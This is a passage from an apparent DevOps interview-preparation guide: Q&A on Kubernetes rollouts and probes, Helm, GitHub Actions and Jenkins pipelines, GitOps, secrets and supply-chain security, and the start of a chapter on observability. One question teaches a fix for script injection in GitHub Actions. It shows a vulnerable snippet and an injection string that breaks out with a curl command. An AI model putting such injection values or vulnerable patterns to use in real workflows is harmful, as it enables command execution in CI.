- `preStop` sleep to delay SIGTERM until endpoint removal propagates.
- Spring graceful shutdown to finish in-flight requests.
- `terminationGracePeriodSeconds` greater than preStop plus shutdown timeout.
- Readiness probe that goes `refusing traffic` on shutdown (Boot does this when graceful shutdown is on).
- `maxUnavailable: 0` and sufficient surge.

```
terminationGracePeriodSeconds: 60
containers:
  - name: api
    lifecycle:
      preStop: { exec: { command: ["sleep", "10"] } }
```

```
server.shutdown: graceful
spring.lifecycle.timeout-per-shutdown-phase: 30s
```

FOLLOW-UP TRAPS

- **Does preStop count against the grace period?** Yes, it shares the same budget.
- **A distroless image has no `sleep`?** Use the `sleep` lifecycle handler (K8s 1.30+ `preStop.sleep.seconds`) or a tiny binary.

#rolling-update #graceful-shutdown #prestop

Q20 Your HPA never scales even under heavy load. What do you check? INTERMEDIATE

`kubectl describe hpa api` shows the current metrics and conditions.

- `<unknown>/65%`: metrics-server not installed/unhealthy, or Pods have no CPU `requests`.
- Load is not CPU-bound (I/O wait on DB): use request rate or latency custom metrics.
- Already at `maxReplicas`, or `ScalingLimited` condition.
- Pods Pending after scale-up: no node capacity; need Cluster Autoscaler/Karpenter.
- The CPU limit throttles the Pod, so usage stays under target; utilization is relative to the request.
- Stabilization windows delay decisions (5 min for scale down by default; scale up is immediate).
- A Deployment manifest hard-coding `replicas` overwritten on every apply.

```
kubectl top pods -l app=api
kubectl describe hpa api
```

FOLLOW-UP TRAPS

- **If a Pod is not Ready, is it counted in the average?** HPA ignores unready or starting Pods' CPU for some calculations, which can delay scaling.
- **HPA and VPA together on CPU?** Conflict; do not combine on the same resource.

#hpa #metrics

Q21 After `kubectl apply` of a new image, the rollout hangs at "1 out of 3 new replicas updated". Diagnose. INTERMEDIATE

New Pods are not becoming Ready, so the rollout cannot proceed (and old Pods are kept, which protects availability).

```
kubectl rollout status deployment/api
kubectl get rs -l app=api
kubectl describe pod <new-pod>
kubectl logs <new-pod>
```

- Readiness probe failing: wrong path/port, the endpoint requires auth, app slow to start (add startupProbe).
- CrashLoopBackOff, ImagePullBackOff or Pending (insufficient resources; `maxSurge` Pods cannot schedule).

- Missing ConfigMap/Secret reference (`CreateContainerConfigError`).
- Roll back: `kubectl rollout undo deployment/api`. After `progressDeadlineSeconds` (default 600 s) the condition `ProgressDeadlineExceeded` is set.

FOLLOW-UP TRAPS

- **Why are old Pods still serving?** The strategy only removes old ones as new ones become available.
- **Does `undo` revert ConfigMap changes?** No, only the Pod template.

#rollout #readiness #troubleshooting

Q22 Secrets changed in the Secret object but the running app still uses the old password. Why? INTERMEDIATE

Env vars are fixed at container start; mounted Secret files are refreshed by kubelet after a delay but Spring does not re-read them unless told to. A Pod restart is the simple fix.

- `kubectl rollout restart deployment/api`.
- Helm: annotate the Pod template with a checksum of the Secret/ConfigMap so a change triggers a rollout automatically.
- Tools like Reloader watch ConfigMaps/Secrets and restart workloads.
- Mounts with `subPath` never update.
- For dynamic refresh: Spring Cloud Kubernetes config reload or Actuator `/refresh` with `@RefreshScope`, but a DataSource password change still requires re-creating the pool.

FOLLOW-UP TRAPS

- **Does a rolling restart cause downtime?** Not if readiness, `maxUnavailable: 0` and PDB are set correctly.
- **Is there a faster way than restart for DB credentials?** Dual-valid credentials during rotation, then restart gradually.

#secrets #config #restart

Q23 How would you configure a Spring Boot Deployment for production readiness (complete example)? ADVANCED

Combine probes, resources, security context, graceful termination and spreading.

```
spec:
  replicas: 3
  strategy: { rollingUpdate: { maxSurge: 1, maxUnavailable: 0 } }
  template:
    spec:
      terminationGracePeriodSeconds: 60
      topologySpreadConstraints:
        - maxSkew: 1
          topologyKey: topology.kubernetes.io/zone
          whenUnsatisfiable: ScheduleAnyway
          labelSelector: { matchLabels: { app: api } }
      securityContext: { runAsNonRoot: true, runAsUser: 10001 }
      containers:
        - name: api
          image: reg.io/shop/api:1.4.0
          env: [{ name: JAVA_TOOL_OPTIONS, value: "-XX:MaxRAMPercentage=70" }]
          resources:
            requests: { cpu: "500m", memory: 1Gi }
            limits:   { memory: 1Gi }
          readinessProbe: { httpGet: { path: /actuator/health/readiness, port: 8080 } }
          livenessProbe:  { httpGet: { path: /actuator/health/liveness, port: 8080 } }
          lifecycle: { preStop: { exec: { command: ["sleep","10"] } } }
```

Plus: PDB, HPA, NetworkPolicy, ServiceAccount with least privilege, pinned image tags, `readOnlyRootFilesystem` with `/tmp` emptyDir.

FOLLOW-UP TRAPS

- **Why topology spread rather than only podAntiAffinity?** It balances evenly across zones without hard-blocking scheduling.
- **Why equal memory request and limit?** Guaranteed memory; avoids eviction/overcommit surprises for JVMs.

#deployment #production #best-practices

Q24 Liveness probe restarts the app during a traffic spike. What went wrong and how do you fix it? ADVANCED

Under load the health endpoint responded slowly (thread pool saturation, long GC, CPU throttling) and exceeded `timeoutSeconds` for `failureThreshold` times, so kubelet killed a working but busy Pod, shifting load to others and cascading.

- Make liveness trivial and cheap; Boot's `/actuator/health/liveness` reflects only internal state.
- Raise `timeoutSeconds` (default 1 s) and `failureThreshold`; use a startupProbe instead of long `initialDelaySeconds`.
- Run management endpoints on a separate port/thread pool (`management.server.port=8081`) so app saturation does not starve probes (Tomcat shares its pool otherwise).
- Fix real saturation: autoscale earlier, remove CPU limit throttling, tune pools.
- Use readiness (not liveness) for "temporarily overloaded".

FOLLOW-UP TRAPS

- **Should liveness always exist?** Not necessarily; many services are better with only readiness, since restarts rarely fix real problems.
- **Does a failing liveness probe stop traffic first?** Not by itself; readiness controls traffic.

#liveness #probes #troubleshooting

Q25 Design Helm values and strategy to deploy the same chart to dev, staging and prod. INTERMEDIATE

Keep one chart and separate environment values files, with the image tag injected by CI.

```
# values.yaml (defaults)
replicaCount: 1
image: { repository: reg.io/shop/api, tag: "" }
resources: { requests: { cpu: 250m, memory: 512Mi } }
autoscaling: { enabled: false }
# values-prod.yaml
replicaCount: 3
autoscaling: { enabled: true, minReplicas: 3, maxReplicas: 15 }
resources: { requests: { cpu: 500m, memory: 1Gi }, limits: { memory: 1Gi } }
```

```
helm upgrade --install api ./chart -n prod -f values-prod.yaml \
  --set image.tag=$GIT_SHA --atomic --timeout 5m
```

- Secrets are not in values files; reference ExternalSecrets or use sops/helm-secrets.
- `helm lint` and `helm template | kubeconform` in CI; use GitOps (Argo CD/Flux) for drift control.
- Pin chart and image versions; promote the same artifact through environments.

FOLLOW-UP TRAPS

- **`--set` vs `-f` precedence?** `--set` overrides values files, and later `-f` files override earlier ones.
- **What does `--atomic` do on failure?** Rolls back to the previous release and marks the upgrade failed.

#helm #environments

DOCKER, CLOUD & DEVOPS · CHAPTER 4

CI/CD Pipelines

GitHub Actions and Jenkins pipelines for Java services, build/test/scan/deploy stages, Maven/Gradle caching, registries, environments and approvals, secrets, deployment strategies, rollbacks, GitOps, trunk-based development, flaky pipelines and supply-chain security.

26 questions **4** basic **16** intermediate **6** advanced

Theory

Q1 What is the difference between Continuous Integration, Continuous Delivery and Continuous Deployment? BASIC

CI merges and verifies every change automatically (build, unit tests, static checks). Continuous Delivery keeps every green build releasable with a one-click, usually approved, production release. Continuous Deployment removes the click: every green build goes to production automatically.

- CI is judged by feedback time and broken-main frequency.
- Delivery vs deployment is a business/risk decision, not a technical one; both need automated tests, feature flags and fast rollback.

FOLLOW-UP TRAPS

- **Is a nightly build CI?** No, CI means integrating at least daily and verifying each integration.
- **Does Continuous Deployment mean no approvals?** The approval moves to code review and automated gates instead of a manual release step.

#cicd #fundamentals

Q2 Describe the stages of a typical Java microservice pipeline and why they are ordered that way. BASIC

Order stages from cheapest and fastest to most expensive so failures surface early: compile and unit tests, static analysis and dependency scan, package and image build, integration tests (Testcontainers), image scan, publish, deploy to staging, smoke/e2e, promote to production.

- Build the artifact once and promote the same immutable image through environments; never rebuild per environment.
- Run independent stages (lint, unit tests, SAST) in parallel.
- Keep the PR pipeline under about 10 minutes; push slow suites to post-merge or nightly.

FOLLOW-UP TRAPS

- **Why not rebuild for prod?** A rebuild can pick up different dependencies or base images, so what you tested is not what you ship.
- **Where do DB migrations run?** As a separate controlled step or app startup with backward-compatible migrations, never as an implicit surprise.

#stages #pipeline-design

Q3 Compare GitHub Actions and Jenkins architecture. INTERMEDIATE

GitHub Actions is a hosted, event-driven workflow engine: YAML workflows trigger on repo events, jobs run on ephemeral runners, and reusable steps come from a marketplace. Jenkins is a self-hosted controller with agents, configured as code through a `Jenkinsfile` (declarative or scripted Groovy) and extended by plugins.

- Actions: low ops burden, ephemeral clean runners, tight GitHub integration (OIDC, environments, checks). Cost grows with minutes unless you use self-hosted runners.
- Jenkins: maximum flexibility and on-prem control, but you own upgrades, plugin compatibility, agent scaling and controller security.
- Both support shared libraries/reusable workflows to avoid copy-pasted pipelines.

FOLLOW-UP TRAPS

- **Should builds run on the Jenkins controller?** No, set controller executors to 0 and use agents (ideally ephemeral Kubernetes pods).
- **Are Jenkins plugins a risk?** Yes, they are a major attack and breakage surface; pin and minimize them.

#github-actions #jenkins

Q4 Show a GitHub Actions workflow that builds and tests a Maven project with caching. BASIC

Use `actions/setup-java` with `cache: maven`, which keys on `pom.xml` hashes and restores `~/.m2/repository`.

```
name: ci
on:
  pull_request:
  push:
    branches: [main]
permissions:
  contents: read
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-java@v4
        with:
          distribution: temurin
          java-version: 21
          cache: maven
      - run: mvn -B -ntp verify
```

- `-B` batch mode and `-ntp` suppress download progress noise.
- Declare `permissions` at least privilege; the default token can be broader than needed.

FOLLOW-UP TRAPS

- **Is the cache shared across branches?** A branch can restore caches from itself and the default branch, but not from sibling branches.
- **Should you cache `target/`?** Generally no; stale outputs cause non-reproducible builds.

#github-actions #maven #caching

Q5 How do you cache Gradle and Maven effectively, and what are the risks? INTERMEDIATE

Cache dependency stores (`~/.m2/repository`, `~/.gradle/caches`) keyed by build file hashes, and for Gradle additionally use the build cache for task outputs. Dependency caching saves download time; build cache saves compile and test work.

```
- uses: gradle/actions/setup-gradle@v4
  with:
    cache-read-only: ${{ github.ref != 'refs/heads/main' }}
- run: ./gradlew build --build-cache
```

- Let only main write the cache; PRs read-only, which prevents cache poisoning from untrusted code.
- Key must include lockfile/`pom.xml` hash plus OS/JDK; use restore-keys for partial hits.
- Docker layer caching (`cache-from/cache-to` with buildx) is separate from dependency caching.

FOLLOW-UP TRAPS

- **Can a poisoned cache compromise releases?** Yes, if release builds restore a cache written by an untrusted PR job.
- **Why is the cache never hit?** Key includes something volatile such as a timestamp or `github.sha`.

#caching #gradle #maven

Q6 How do artifacts, container registries and image tagging work in a pipeline? INTERMEDIATE

CI publishes immutable, versioned artifacts: libraries to Maven repositories (Nexus/Artifactory/GitHub Packages) and services as container images to a registry (ECR, GHCR, Harbor). Deployments reference the image by digest, which is content-addressed and immutable.

- Tag with the git SHA (and semver for releases); `latest` is mutable and unsuitable for deployments.
- `workflow artifacts` are short-lived build outputs between jobs, not a distribution mechanism.
- Apply retention/lifecycle policies on the registry and sign images (cosign).

```
docker buildx build -t ghcr.io/acme/orders:${GITHUB_SHA} --push .
```

FOLLOW-UP TRAPS

- **Why prefer digest over tag?** A tag can be re-pointed; a digest cannot.
- **Is a SNAPSHOT release artifact?** No, SNAPSHOT versions are mutable and must not be deployed to production.

#registry #artifacts #docker

Q7 How are environments, approvals and secrets handled in GitHub Actions and Jenkins? INTERMEDIATE

GitHub Actions `environments` hold scoped secrets/variables and protection rules (required reviewers, wait timers, branch restrictions). Jenkins uses the `input` step and the Credentials plugin with folder-scoped credentials.

```
deploy-prod:
  needs: deploy-staging
  environment: production      # requires reviewer approval
  runs-on: ubuntu-latest
  permissions:
    id-token: write
    contents: read
  steps:
    - uses: aws-actions/configure-aws-credentials@v4
      with:
        role-to-assume: arn:aws:iam::123456789012:role/gha-deploy-prod
        aws-region: eu-west-1
```

- Prefer OIDC federation to cloud roles over long-lived access keys in secrets.
- Secrets are masked in logs but can be exfiltrated by a malicious step; restrict who can modify workflows.

FOLLOW-UP TRAPS

- **Are secrets available to fork PRs?** No, not by default; `pull_request_target` changes this and is dangerous with untrusted checkout.
- **Does masking guarantee safety?** No, transformed values (base64, split) bypass masking.

#environments #approvals #secrets

Q8 Explain rolling, blue-green and canary deployments and their trade-offs. INTERMEDIATE

Rolling replaces instances gradually; blue-green runs a full new environment and switches traffic atomically; canary sends a small percentage of traffic to the new version and increases it based on metrics.

Strategy	Extra capacity	Rollback	Risk exposure
Rolling	small surge	slow (roll forward/back again)	gradual, mixed versions
Blue-green	2x	instant switch	all users at once after the switch
Canary	small	instant (shift weight to 0)	limited to canary slice

- All require backward-compatible DB changes because old and new versions overlap.
- Canary needs good metrics and an automated analysis (Argo Rollouts, Flagger).

FOLLOW-UP TRAPS

- **Does blue-green solve schema changes?** No, both colors share the database, so expand/contract is still needed.
- **Is canary useful with low traffic?** Poorly, you lack statistical signal; use synthetic traffic or longer windows.

#deployment-strategies #kubernetes

Q9 What is GitOps and how does it differ from push-based CD? INTERMEDIATE

GitOps stores the desired cluster state in Git and an in-cluster controller (Argo CD, Flux) continuously reconciles the cluster to it. CI only builds the image and commits a new tag to the config repo; it holds no cluster credentials.

```
apiVersion: argoproj.io/v1alpha1
kind: Application
metadata: { name: orders, namespace: argocd }
spec:
  project: default
  source:
    repoURL: https://github.com/acme/deploy-config
    path: apps/orders/prod
    targetRevision: main
  destination: { server: https://kubernetes.default.svc, namespace: orders }
  syncPolicy:
    automated: { prune: true, selfHeal: true }
```

- Benefits: audit trail, rollback by `git revert`, drift correction, no CI-to-cluster credentials.
- Costs: image-tag update automation, secrets need sealed-secrets/External Secrets, two repos to manage.

FOLLOW-UP TRAPS

- **What does `selfHeal` do?** Reverts manual cluster changes back to Git state.
- **Is `prune` safe?** It deletes resources removed from Git, so protect critical resources deliberately.

#gitops #argocd

Q10 What is trunk-based development and how does it relate to CI/CD? BASIC

Developers integrate into `main` at least daily through short-lived branches (hours to a day or two) instead of long-lived feature branches. Incomplete work is hidden behind feature flags so main is always releasable.

- Requires fast CI, strong tests and small PRs.
- Releases are cut from main (tag) or short release branches for hotfixes.
- Long-lived branches cause merge pain, integration surprises and large risky releases.

FOLLOW-UP TRAPS

- **Does trunk-based forbid PRs?** No, short-lived PRs with fast review are normal.
- **How do you ship half-done features?** Feature flags with the default off, removed after rollout.

#trunk-based #branching

Q11 Why do pipelines get flaky and how do you manage it? INTERMEDIATE

Flakiness comes from shared state, time dependence, async waits with `sleep`, order-dependent tests, port collisions, external services and resource-starved runners. A retry masks it but does not remove it.

- Quarantine: tag the test, run it in a non-blocking job, track an owner and deadline.
- Measure flake rate per test from CI history; fix top offenders.
- Use Testcontainers with random ports, `Awaitility` instead of `Thread.sleep`, fixed `Clock` injection.
- Failsafe/Surefire `rerunFailingTestsCount` can be a stopgap, with reporting of reruns.

FOLLOW-UP TRAPS

- **Is auto-retry of the whole pipeline acceptable?** It hides real intermittent production bugs such as race conditions.
- **Can infrastructure cause it?** Yes, noisy neighbours and OOM-killed runners look like test failures.

#flaky-tests #reliability

Q12 What is software supply-chain security in a CI/CD pipeline? ADVANCED

Protecting everything that goes into and through the build: dependencies, base images, build tooling, the pipeline itself and the artifacts.

- Dependency scanning (OWASP Dependency-Check, Dependabot, Trivy), plus lockfiles/pinned versions.
- Generate an SBOM (CycloneDX/SPDX) per build.
- Sign images and verify at admission (cosign, Kyverno/Sigstore policy controller); produce provenance attestations (SLSA).
- Pin third-party actions to a commit SHA, not a movable tag.
- Least-privilege tokens, OIDC instead of static keys, ephemeral runners, protected branches.

FOLLOW-UP TRAPS

- **Why pin an action to a SHA?** Tags are mutable; a compromised upstream could repoint `v4` to malicious code.
- **Does an SBOM prevent vulnerabilities?** No, it lets you find affected services quickly when one is disclosed.

#supply-chain #sbom #slsa

Scenarios

Q13 A PR pipeline takes 35 minutes and developers batch changes to avoid it. How do you cut it down? INTERMEDIATE

Profile first, then attack the longest stage: parallelize, cache, and move slow suites out of the PR path.

- Cache dependencies and Docker layers; use Gradle/Maven incremental builds and `-T 1C` for Maven.
- Split tests into shards across matrix jobs; run only affected modules where the build tool supports it.
- Unit tests on PR; full integration/e2e after merge or in a merge queue.
- Use bigger runners if CPU-bound; a faster runner is often cheaper than developer waiting time.

```
strategy:
  matrix:
    shard: [1, 2, 3, 4]
steps:
  - run: mvn -B verify -Dsurefire.shard=${{ matrix.shard }}/4
```

(The shard property depends on your test splitting setup, for example a custom Surefire grouping or JUnit tags.)

FOLLOW-UP TRAPS

- **Does more parallelism always help?** No, fixed setup cost per job and shared DB contention can erase the gain.
- **Is skipping tests on docs-only changes safe?** Yes with path filters, as long as required checks still report a status.

#pipeline-performance #optimization

Q14 Production deploy succeeded in the pipeline but users see errors. What gates should have caught it and how do you roll back? INTERMEDIATE

Pipeline success only meant manifests were applied. Add post-deploy verification: readiness-based rollout status, smoke tests, and metric-based analysis, with automatic rollback on failure.

```
kubectl rollout status deploy/orders -n prod --timeout=180s \
  || { kubectl rollout undo deploy/orders -n prod; exit 1; }
```

- With GitOps, roll back by reverting the commit so Git stays truthful.
- Roll back application first; DB changes must have been backward compatible (expand/contract) so the old version still works.
- Feature-flagged changes are rolled back by flipping the flag, which is faster than a deploy.

FOLLOW-UP TRAPS

- **Can you roll back a destructive migration?** Not safely; that is why drops happen in a later release after the code stops using the column.
- **Does `kubectl rollout undo` fix Helm state?** No, Helm release history diverges; use `helm rollback`.

#rollback #smoke-tests

Q15 A secret was printed in a build log and pushed to a public repo. What do you do? INTERMEDIATE

Treat it as compromised: rotate first, clean up second.

- Revoke/rotate the credential immediately and check provider access logs for use.
- Delete logs/artifacts that contain it; removing from Git history (git filter-repo) does not un-leak it, because forks and caches may hold it.
- Find the cause (`set -x`, echoing env, debug flags) and add secret scanning (gitleaks, GitHub push protection) as a blocking check.
- Move to short-lived credentials (OIDC, Vault dynamic secrets) so leaks expire.

FOLLOW-UP TRAPS

- **Is rewriting history enough?** No, the secret must be rotated regardless.
- **Why did masking not help?** Masking matches exact values; transformed output is not masked.

#secrets #incident-response

Q16 Write a Jenkins declarative pipeline for a Spring Boot service with build, test, image and deploy approval. INTERMEDIATE

Use a declarative `Jenkinsfile` with Kubernetes or Docker agents, parallel test reporting and an `input` gate only on main.

```
pipeline {
  agent { docker { image 'maven:3.9-eclipse-temurin-21' } }
  options { timeout(time: 30, unit: 'MINUTES'); disableConcurrentBuilds() }
  stages {
    stage('Build & Test') {
      steps { sh 'mvn -B -ntp verify' }
      post { always { junit '**/target/surefire-reports/*.xml' } }
    }
    stage('Approve') {
      when { branch 'main' }
      steps { input message: 'Deploy to prod?', submitter: 'release-managers' }
    }
    stage('Deploy') {
      when { branch 'main' }
      steps { withCredentials([file(credentialsId: 'kubeconfig', variable: 'KUBECONFIG')]) {
        sh 'kubectl set image deploy/orders app=registry/orders:$GIT_COMMIT'
      } }
    }
  }
}
```

- Place `input` outside an agent block in production so it does not hold an executor while waiting.

FOLLOW-UP TRAPS

- **Why `timeout` on options?** Hung builds hold agents forever.
- **Scripted vs declarative?** Declarative is structured and validated; scripted is more flexible but easier to make unmaintainable.

#jenkins #jenkinsfile

Q17 Design canary rollout with automatic abort for a payment service. ADVANCED

Use Argo Rollouts with stepped weights and a metric-based analysis; abort and revert when error rate or latency breaches thresholds.

```
apiVersion: argoproj.io/v1alpha1
kind: Rollout
spec:
  strategy:
    canary:
      steps:
        - setWeight: 5
        - pause: { duration: 5m }
        - analysis:
            templates: [{ templateName: error-rate }]
        - setWeight: 25
        - pause: { duration: 10m }
        - setWeight: 100
```

The analysis template queries Prometheus:
`sum(rate(http_server_requests_seconds_count{status=~"5..",version="canary"}[5m])) / sum(rate(http_server_requests_seconds_count{version="canary"}[5m])) < 0.01`.

- Compare against baseline, not absolute values, to avoid time-of-day noise.
- Payment-specific: ensure idempotency so retried requests across versions are safe.

FOLLOW-UP TRAPS

- **What if canary gets too little traffic?** Analysis passes vacuously; require a minimum request count.
- **Are sticky sessions a problem?** They skew the split; route by header or weight at the mesh layer.

#canary #argo-rollouts

Q18 A cache restore makes builds pass locally-failing code, or the build uses stale dependencies. Diagnose.

INTERMEDIATE

Likely a stale or over-broad cache: restore-keys falling back to an old cache, caching `target/` or `build/`, or a SNAPSHOT dependency resolved from the cached local repository instead of the remote.

- Re-run with the cache disabled to confirm; add `-U` (update snapshots) or avoid SNAPSHOTs.
- Cache only the dependency store, key by lockfile hash.
- Run a periodic clean build (nightly) without cache as a control.
- Use `--no-build-cache` or `clean` in the release workflow.

FOLLOW-UP TRAPS

- **Should release builds use cache?** Prefer a clean or read-only verified cache for reproducibility.
- **Why does it pass in CI but fail locally?** Different JDK/OS or cached outputs; pin the toolchain.

#caching #reproducibility

Q19 Two PRs both pass CI but main breaks after both merge. How do you prevent it?

INTERMEDIATE

Each PR was tested against an old main, not against the other. Use a merge queue (GitHub merge queue, or Bors/Mergify) that tests each PR on top of the current queue head, and require "branch up to date" for protected branches.

```
on:
  pull_request:
  merge_group:    # required so checks run for queued merges
```

- Required status checks must run on `merge_group` or the queue stalls.
- Costs additional CI minutes but protects main.

FOLLOW-UP TRAPS

- **Does "require up-to-date branches" scale?** It forces constant rebases on busy repos; the queue automates it.
- **Does a semantic conflict show up as a git conflict?** No, only tests catch it.

#merge-queue #branch-protection

Q20 How do you safely deploy a database migration with a rolling deploy?

ADVANCED

Use expand/contract: old and new app versions run concurrently, so every migration must be compatible with both.

1. Expand: add nullable column/new table (deploy migration, old code ignores it).
2. Deploy code that writes both and reads new.
3. Backfill in batches.
4. Contract: remove the old column in a later release after nothing uses it.

```
-- release N
ALTER TABLE orders ADD COLUMN currency VARCHAR(3);
-- release N+2, after code stops reading the old field
ALTER TABLE orders DROP COLUMN legacy_currency;
```

- Run Flyway/Liquibase as a pre-deploy job rather than in every replica to avoid races (Flyway locks anyway).
- Beware long locks: `CREATE INDEX CONCURRENTLY` on PostgreSQL.

FOLLOW-UP TRAPS

- **Why not rename a column in one step?** The old version still queries the old name and fails during rollout.
- **Does rollback undo the migration?** Usually no; design forward-only and compatible.

#migrations #expand-contract

Q21 Your GitHub Actions workflow is vulnerable to script injection. Show the problem and fix.

ADVANCED

Interpolating untrusted context (`github.event.pull_request.title`, branch names) directly into `run:` lets an attacker inject shell commands. Pass it through an environment variable.

```
# vulnerable
- run: echo "PR is ${{ github.event.pull_request.title }}"

# fixed
- run: echo "PR is $TITLE"
  env:
    TITLE: ${{ github.event.pull_request.title }}
```

- With the fix, the value is data in a variable, not part of the script text.
- Avoid `pull_request_target` combined with checking out the PR head; it runs untrusted code with secrets.
- Pin actions by SHA and set `permissions: contents: read` by default.

FOLLOW-UP TRAPS

- **Is quoting enough?** No, a title containing `"; curl ... #` breaks out of the quotes in the expanded script.
- **Are branch names attacker-controlled?** Yes, in forks.

#security #github-actions #injection

Q22 Argo CD shows an app OutOfSync constantly and keeps reverting a hotfix someone applied with kubectl. What is happening?

INTERMEDIATE

`selfHeal` is working as designed: the live state differs from Git, so Argo CD reverts it. The fix belongs in Git.

- Commit the hotfix to the config repo (or revert), then let sync apply it.
- For fields legitimately changed at runtime (HPA-managed `replicas`, injected sidecars), use `ignoreDifferences` rather than disabling self-heal.

```
spec:
  ignoreDifferences:
    - group: apps
      kind: Deployment
      jsonPointers: [/spec/replicas]
```

- In an emergency, pause auto-sync for that app temporarily, and record it.

FOLLOW-UP TRAPS

- **Why does HPA fight with Git replicas?** Both set `replicas`; remove replicas from the manifest when an HPA owns it.
- **Is disabling selfHeal a fix?** It hides drift and defeats GitOps guarantees.

#gitops #drift

Q23 How do you release a library and a service from the same monorepo without rebuilding everything on each change?

ADVANCED

Use path filters or build-tool change detection so only affected modules build, and publish independent versions.

```
on:
  push:
    paths: ['services/orders/**', 'libs/common/**']
```

- A change in a shared library must trigger all dependents; compute the dependency graph (Gradle `--build-cache` with composite builds, Maven `-pl :orders -am`).

- Use `mvn -pl <module> -am` to build the module and what it depends on.
- Version independently with tags per component (`orders-v1.4.0`).
- Required checks with path filters can leave PRs pending; add an always-running aggregator job.

FOLLOW-UP TRAPS

- **What does `-am` do?** Also make: builds required upstream modules.
- **Why does the required check never report?** A skipped workflow due to path filters creates no status; use a gate job.

#monorepo #path-filters

Q24 A deploy pipeline needs to access AWS. How do you remove the long-lived access keys? ADVANCED

Use OIDC federation: the workflow requests a short-lived JWT from GitHub, and AWS exchanges it for temporary credentials via an IAM role with a trust policy scoped to the repo and environment.

```
{
  "Effect": "Allow",
  "Principal": { "Federated": "arn:aws:iam::123456789012:oidc-
provider/token.actions.githubusercontent.com" },
  "Action": "sts:AssumeRoleWithWebIdentity",
  "Condition": {
    "StringEquals": {
      "token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
      "token.actions.githubusercontent.com:sub": "repo:acme/orders:environment:production"
    }
  }
}
```

- The `sub` condition is the critical control; a wildcard allows any repo/branch to assume the role.
- Requires `permissions: id-token: write` in the job.

FOLLOW-UP TRAPS

- **How long do credentials last?** Typically up to an hour, configurable down; they expire without cleanup.
- **Do Jenkins builds have OIDC?** Via plugins or by running on cloud workload identity (IRSA).

#oidc #secrets #aws

Q25 Image scanning in CI flags a critical CVE in the base image the day of a release. What do you do? INTERMEDIATE

Assess reachability and fix availability rather than reflexively blocking or ignoring. If a patched base image exists, rebuild; if not, document an expiry-dated exception.

```
trivy image --severity CRITICAL,HIGH --exit-code 1 --ignore-unfixed ghcr.io/acme/orders:$SHA
```

- `--ignore-unfixed` avoids blocking on vulnerabilities with no available patch.
- Keep a `.trivyignore` with justification and an expiry review date.
- Use minimal bases (distroless, Temurin JRE slim) to reduce attack surface; rebuild images regularly to pick up patches.
- Also scan continuously in the registry, since new CVEs appear after build.

FOLLOW-UP TRAPS

- **Is a critical CVE always exploitable?** No; check whether the vulnerable package/function is used at runtime.
- **Is scan-at-build enough?** No, deployed images age; re-scan on a schedule.

#vulnerability-management #trivy

Q26 Builds pass on one runner and fail on another with "Connection reset" and OOM kills. How do you stabilize? INTERMEDIATE

Distinguish infrastructure from code: check exit code 137 (OOM kill), runner size and parallel job density, then bound JVM and test memory explicitly.

- Set `MAVEN_OPTS=-Xmx2g` and Surefire `argLine` limits, and size the runner/pod requests=limits accordingly.
- Reduce parallel forks (`forkCount`) when memory-bound.
- Proxy dependency downloads through an internal mirror (Nexus) to avoid network resets and rate limits; add retries to downloads.
- Use ephemeral clean runners to avoid disk fill from previous builds.

FOLLOW-UP TRAPS

- **Why exit code 137?** SIGKILL, typically the kernel OOM killer or container memory limit.
- **Does the JVM respect container limits?** Yes since Java 10 (and 8u191), `-XX:MaxRAMPercentage` governs heap.

#runners #resources #flaky

DOCKER, CLOUD & DEVOPS · CHAPTER 5

Logging, Monitoring, Tracing, Prometheus & Grafana

Structured logging and MDC, Micrometer and Actuator metrics, Prometheus scraping and PromQL, RED/USE, Grafana dashboards, SLO burn-rate alerting, OpenTelemetry tracing, correlation IDs, JVM metrics and incident debugging scenarios.

25 questions **5** basic **13** intermediate **7** advanced

Theory

Q1 What are the three pillars of observability and what question does each answer? BASIC

Metrics tell you that something is wrong and how much (aggregated numbers over time), logs tell you what happened for a specific event (discrete records), and traces tell you where time went across services for one request.

- Metrics are cheap and good for alerting; high-cardinality detail is expensive.
- Logs are detailed but costly to search at scale.
- Traces connect services; they need propagation of context across every hop.
- Monitoring answers known questions (dashboards/alerts); observability lets you ask new questions of telemetry.

FOLLOW-UP TRAPS

- **Can logs replace metrics?** Deriving metrics from logs is costly, slower and fragile.
- **Is a trace the same as a log with a request ID?** No, a trace has structured parent/child spans with timing.

#observability #fundamentals

Q2 Why structured (JSON) logging, and how does MDC help in Spring Boot? BASIC

Structured logs are machine-parseable key-value records so they can be filtered and aggregated by field. MDC (Mapped Diagnostic Context) is a thread-local map whose entries are added to every log line on that thread, ideal for request or trace IDs.

```
@Component
class RequestIdFilter extends OncePerRequestFilter {
  @Override
  protected void doFilterInternal(HttpServletRequest req, HttpServletResponse res, FilterChain
chain)
      throws ServletException, IOException {
    String id = Optional.ofNullable(req.getHeader("X-Request-
Id")).orElse(UUID.randomUUID().toString());
    MDC.put("requestId", id);
    res.setHeader("X-Request-Id", id);
    try { chain.doFilter(req, res); } finally { MDC.clear(); }
  }
}
```

- Spring Boot 3.4+ supports structured logging natively: `logging.structured.format.console=ecs` (also `logstash`, `gelf`).
- Always clear MDC in `finally`; pooled threads would leak values to later requests.

FOLLOW-UP TRAPS

- **Does MDC propagate to `@Async` or executor threads?** No, copy it with a `TaskDecorator` or use context propagation.
- **Does it work with virtual threads?** Yes, MDC is per virtual thread, but you still need to set it in that thread.

#logging #mdc #structured-logging

Q3 What are Spring Boot Actuator and Micrometer, and how do they relate? BASIC

Micrometer is the metrics facade (like SLF4J for metrics) with registries for Prometheus, Datadog and others. Actuator exposes operational endpoints (`/actuator/health`, `/metrics`, `/prometheus`) and auto-configures Micrometer instrumentation for HTTP server/client, JVM, datasource, caches and more.

```
management:
  endpoints:
    web:
      exposure:
        include: health,info,prometheus
  endpoint:
    health:
      probes:
        enabled: true
  metrics:
    tags:
      application: ${spring.application.name}
```

- Add `micrometer-registry-prometheus`; the endpoint is `/actuator/prometheus`.
- Expose only needed endpoints, ideally on a separate management port not publicly routed (`management.server.port`).

FOLLOW-UP TRAPS

- **Is `/actuator/env` safe to expose?** No, it can leak configuration; Boot 3 sanitizes values by default but still restrict it.
- **Does Actuator metrics add overhead?** Small, but unbounded tag cardinality is the real cost.

#actuator #micrometer

Q4 Explain Micrometer meter types and when to use each. INTERMEDIATE

Counter (monotonic count), Gauge (current value that goes up and down), Timer (latency count + total time + optionally histogram), DistributionSummary (distribution of non-time values), LongTaskTimer (in-flight long operations).

```
@Service
class PaymentService {
  private final Counter failures;
  private final Timer latency;
